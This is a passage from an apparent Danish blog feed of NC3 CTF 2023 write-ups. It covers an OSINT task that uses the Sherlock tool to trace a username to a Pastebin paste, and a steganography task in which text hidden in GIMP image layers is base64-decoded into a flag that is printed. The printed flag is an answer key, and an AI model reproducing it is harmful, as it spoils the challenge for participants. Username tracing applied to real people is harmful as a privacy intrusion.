<li>Jeg henter sherlock fra github -&gt; <a href="https://github.com/sherlock-project/sherlock">https://github.com/sherlock-project/sherlock</a></li>
<li>Jeg søger efter N1ss3b4nd3n med kommandoen - &gt; <code>halfdan@desktop:~/sherlock$ python3 sherlock N1ss3b4nd3n</code></li>
<li>Den finder en Pastebin account, <a href="https://pastebin.com/u/N1ss3b4nd3n">https://pastebin.com/u/N1ss3b4nd3n</a>, brugeren har et post/paste -&gt; <a href="https://pastebin.com/hQcmjWHL">https://pastebin.com/hQcmjWHL</a></li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-txt" data-lang="txt"><span class="line"><span class="cl">Medlemsliste:
</span></span><span class="line"><span class="cl">HEMMELIGT (chefen)
</span></span><span class="line"><span class="cl">Lun73
</span></span><span class="line"><span class="cl">G3mys3
</span></span><span class="line"><span class="cl">HrM0rt3ns3n
</span></span><span class="line"><span class="cl">Sk1pp3r
</span></span><span class="line"><span class="cl">P1l
</span></span></code></pre></div><ol start="4">
<li>Comments:
Bruger: b0bb0bb0b -&gt; <code>Comment was deleted</code></li>
</ol>
<p>Flag: <code>?????</code></p>
<hr>
<h3 id="stego-julemandens-gætteleg">Stego: Julemandens Gætteleg</h3>
<p>Nisserne har fundet denne fil på nissefars computer, kan du gætte, hvordan han har gemt data i den?</p>
<p>Vedhæftet fil: <a href="https://github.com/ha1fdan/nc3ctf_2023_writeups/blob/main/stego_julemandens-gaetteleg/Julemandens_G%C3%A6tteleg">Julemandens_Gætteleg</a></p>
<p>Ved at køre <code>file Julemandens_Gætteleg</code> vi får afvide: <code>Julemandens_Gætteleg: GIMP XCF image data</code>.
Efter at have installeret GIMP, kan vi untjekke de forskellige lag og se at der er gemt tekst på de fleste billede lag, hvis vi tager de små dele af tekst og sætter dem sammen til en streng får vi: <code>TkMze1M3ZWc0bjBncjRmaV8zcl9TajB2N30=</code>. Hvis vi decoder det med base64 får vi flaget.</p>
<p>Flag: <code>NC3{S7eg4n0gr4fi_3r_Sj0v7}</code></p>
]]></content></item></channel></rss>